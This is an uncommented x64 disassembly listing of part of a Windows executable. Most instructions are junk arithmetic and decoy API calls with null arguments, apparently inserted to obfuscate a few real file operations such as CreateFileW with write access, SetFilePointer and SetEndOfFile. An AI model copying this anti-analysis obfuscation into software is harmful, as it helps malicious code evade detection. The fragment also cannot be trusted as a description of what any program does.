lea rax, [rsp + 0x7fa8]
mov qword [rsp + 0x10210], rax
xor edx, edx
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
div dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f4c]
mov edx, dword [rsp + 0x7f8c]
or edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140016324
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd518]
mov qword [rsp + 0x10218], rax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
and eax, ecx
mov word [rsp + 0x28dc], ax
lea rax, [rsp + 0x28d8]
mov qword [rsp + 0x10220], rax
movzx eax, byte [rsp + 0x56d]
mov byte [rsp + 0x56f], al
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x56c]
add eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xcf70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov dword [rsp + 0x7fc8], 0x5b78
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov byte [0x140221da0], al
mov eax, dword [rsp + 0x7f70]
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0xda48]
mov qword [rsp + 0x10228], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x7fd0], 0xb6cb
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x101e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10218]
mov rdx, qword [rsp + 0xd518]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140016414
mov ecx, 0x50
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x7fd4], eax
mov rax, qword [rsp + 0x10218]
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
sar rax, cl
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0x10218]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fa8], eax
jmp 0x1401f4a92
cmp dword [rsp + 0x7fd0], 0xbbd5
je 0x1400167f4
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
sub eax, ecx
mov word [rsp + 0x28e4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x56b], al
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56f], al
lea rcx, str.KvMI_Ud3McLRU_By
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28e8], ax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140221da0], al
mov eax, dword [rsp + 0x7fa8]
movzx ecx, al
mov eax, dword [rsp + 0x7f70]
sar eax, cl
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7fd0]
add eax, 0x56
mov dword [rsp + 0x7fd0], eax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7fa8], eax
mov eax, dword [rsp + 0x7f8c]
movzx ecx, al
mov eax, dword [rsp + 0x7f54]
shl eax, cl
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
or eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x1b14]
sub eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
and eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x10218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28e4]
add eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56e]
add eax, ecx
mov byte [rsp + 0x56b], al
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x10218]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
shl eax, cl
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x101c8]
movzx ecx, al
mov rax, qword [rsp + 0xda48]
shr rax, cl
mov qword [rsp + 0x10228], rax
lea rcx, [rsp + 0x24f48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7fa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
and eax, ecx
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
jmp 0x140016414
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xcf70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
movsx eax, word [rsp + 0x28dc]
mov dword [rsp + 0x7fd8], eax
cmp dword [rsp + 0x7fd8], 0
je 0x140016830
jmp 0x1401f4a2c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.ZQPMr3lqMd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10230], rax
movzx eax, word [rsp + 0x28d8]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0x10228]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov eax, dword [rsp + 0x7f5c]
sub eax, 0x19
mov dword [rsp + 0x7f5c], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7fa8], eax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x1c3]
sar eax, cl
mov byte [rsp + 0x56e], al
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x2708]
shl eax, cl
mov word [rsp + 0x28d8], ax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
and eax, ecx
mov word [rsp + 0x28dc], ax
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
lea rdx, [rsp + 0x10238]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7fbc], eax
movzx eax, byte [0x140221da0]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x28d8]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xdac0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f70]
sar eax, cl
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
movzx eax, word [0x140211390]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0xc0]
shl eax, cl
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f8c], eax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56e]
sub eax, ecx
mov byte [rsp + 0x56b], al
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fc0], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28e4]
add eax, ecx
mov word [rsp + 0x28dc], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10240], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [0x140211390]
sub eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56f], al
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
and eax, ecx
mov word [rsp + 0x28dc], ax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x56d]
add eax, ecx
mov byte [rsp + 0x56f], al
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f8c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xab8b
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fdc], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f70], eax
cmp dword [rsp + 0x7f5c], 0xb0aa
jae 0x14001686c
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
or eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov word [rsp + 0x28f0], ax
movzx eax, byte [0x140221da0]
mov byte [rsp + 0x570], al
mov dword [rsp + 0x7fe0], 0xa4cd
cmp dword [rsp + 0x7f6c], 0xe364
ja 0x1400171b9
mov rax, qword [rsp + 0xd518]
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
sar rax, cl
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x570]
shl eax, cl
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0x101e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx ecx, word [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28f4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7fdc], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
and eax, ecx
mov byte [rsp + 0x570], al
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
shl eax, cl
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140211390], ax
mov edx, 0x74fbf1
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7fbc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x10228]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7fb8]
mov ecx, dword [rsp + 0x7f54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7fcc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
and eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
add eax, ecx
mov byte [rsp + 0x56f], al
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56e]
sub eax, ecx
mov byte [rsp + 0x56b], al
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7fc0], eax
movzx eax, word [rsp + 0x28d8]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov eax, dword [rsp + 0x7f6c]
add eax, 0x55
mov dword [rsp + 0x7f6c], eax
movzx eax, word [rsp + 0x28d8]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
shl eax, cl
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x101d0]
mov qword [rsp + 0x10248], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10248]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0x101e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
lea rdx, [rsp + 0x26598]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xcf70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7fe4], eax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28e4]
sub eax, ecx
mov word [rsp + 0x28dc], ax
jmp 0x140016c8d
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov dword [rsp + 0x7fe8], 0x954d
mov rax, qword [rsp + 0x101e0]
mov qword [rsp + 0x10250], rax
cmp qword [rsp + 0x10250], 0
je 0x14001721e
jmp 0x1401f48f0
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov byte [rsp + 0x571], al
mov dword [rsp + 0x7fec], 0xfe6e
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28e4]
add eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
cmp dword [rsp + 0x7f48], 0xd0a
jb 0x1400176c5
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fa8], eax
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28f0], ax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x571], al
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56e]
sar eax, cl
mov byte [rsp + 0x56c], al
mov eax, dword [rsp + 0x7f48]
sub eax, 0x9f
mov dword [rsp + 0x7f48], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28e4]
xor eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0xd638]
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
shl rax, cl
mov qword [rsp + 0x10218], rax
movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140221da0], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x570]
and eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f70], eax
lea rcx, [rsp + 0x24f78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x28d8]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0x56f]
add eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0xd2f0]
mov rcx, qword [rsp + 0xd518]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
sub eax, ecx
mov byte [rsp + 0x56d], al
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fa8]
sar eax, cl
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f54], eax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x56e]
shl eax, cl
mov byte [rsp + 0x56c], al
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x571]
xor eax, ecx
mov byte [rsp + 0x56f], al
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
and eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0x571]
add eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7f94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x571]
add eax, ecx
mov byte [rsp + 0x570], al
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28e4]
sub eax, ecx
mov word [rsp + 0x28dc], ax
